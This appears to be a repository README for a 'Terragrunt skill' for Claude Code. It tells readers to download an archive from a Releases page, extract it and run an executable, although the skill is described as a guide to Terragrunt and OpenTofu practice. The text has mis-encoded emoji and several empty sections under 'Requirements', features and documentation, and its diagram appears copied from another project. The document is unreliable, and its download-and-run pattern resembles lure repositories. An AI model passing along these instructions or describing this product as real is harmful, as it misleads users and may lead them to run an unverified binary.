Nayzs01

πŸŽ‰ terragrunt-skill - Simplify Your Infrastructure Management

πŸš€ Getting Started

Welcome to the Terragrunt Skill for Claude Code! This skill offers practical guidance to help you use Terragrunt effectively with OpenTofu/Terraform. Follow these steps to download and run the software.

πŸ“₯ Download & Install

To get started, you need to download the software. Click the button below:

Download Terragrunt Skill

Next, visit the Releases page to find the latest version. Choose the file that matches your system, and follow these instructions:

  1. Click on the desired version number.
  2. Look for the .zip or .tar.gz file and download it.
  3. Extract the files to a folder on your computer.

πŸ” Requirements

Before using the Terragrunt Skill, ensure your system meets the following requirements:

πŸ› οΈ How to Run the Software

  1. Navigate to the Folder: Open the folder where you extracted the files.
  2. Open the Command Line:
    • Windows: Press Win + R, type cmd, and hit Enter.
    • macOS: Press Command + Space, type Terminal, and hit Enter.
    • Linux: Open your terminal from the application menu.
  3. Run the Skill:
    • Type ./terragrunt-skill and press Enter.
    • Follow the prompts on the screen.

πŸ“‚ Understanding the Architecture

The Terragrunt Skill uses a structured approach to manage your infrastructure. Here’s a simple overview of how it works:

Option A: Modules in Separate Repos

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                        SEPARATE REPOSITORIES                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   Module Repos          β”‚   Catalog Repo          β”‚   Live Repo     β”‚
β”‚   (terraform-aws-*)     β”‚   (infrastructure-      β”‚   (infrastructure-
β”‚                         β”‚    <org>-catalog)       β”‚    <org>-live)  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ β€’ OpenTofu modules      β”‚ β€’ units/ (wrappers)     β”‚ β€’ root.hcl      β”‚
β”‚ β€’ Semantic versioning   β”‚ β€’ stacks/ (templates)   β”‚ β€’ account.hcl   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“ Using the Skill

Once you run the skill, it will guide you through best practices and help you set up your infrastructure efficiently. Here are some features you can expect:

πŸ“š Documentation and Support

If you need more help or want to dive deeper into features:

πŸ”„ Update Instructions

Keep the Terragrunt Skill up to date by following these steps:

  1. Revisit the Releases page.
  2. Download the latest version using the same method outlined in the β€œDownload & Install” section.
  3. Replace the old files in your folder with the new ones.

By regularly updating the skill, you will benefit from the latest improvements and features.

🀝 Contribution

We welcome contributions! If you’re interested in helping us improve the Terragrunt Skill:

  1. Fork the repository.
  2. Make your changes.
  3. Submit a pull request.

Your input is valuable and helps the community grow.

πŸ“§ Contact

For further inquiries or feedback, please reach out to us at our support email: support@terragruntskill.com.

Follow the above steps to easily download and run the Terragrunt Skill for Claude Code. Happy coding!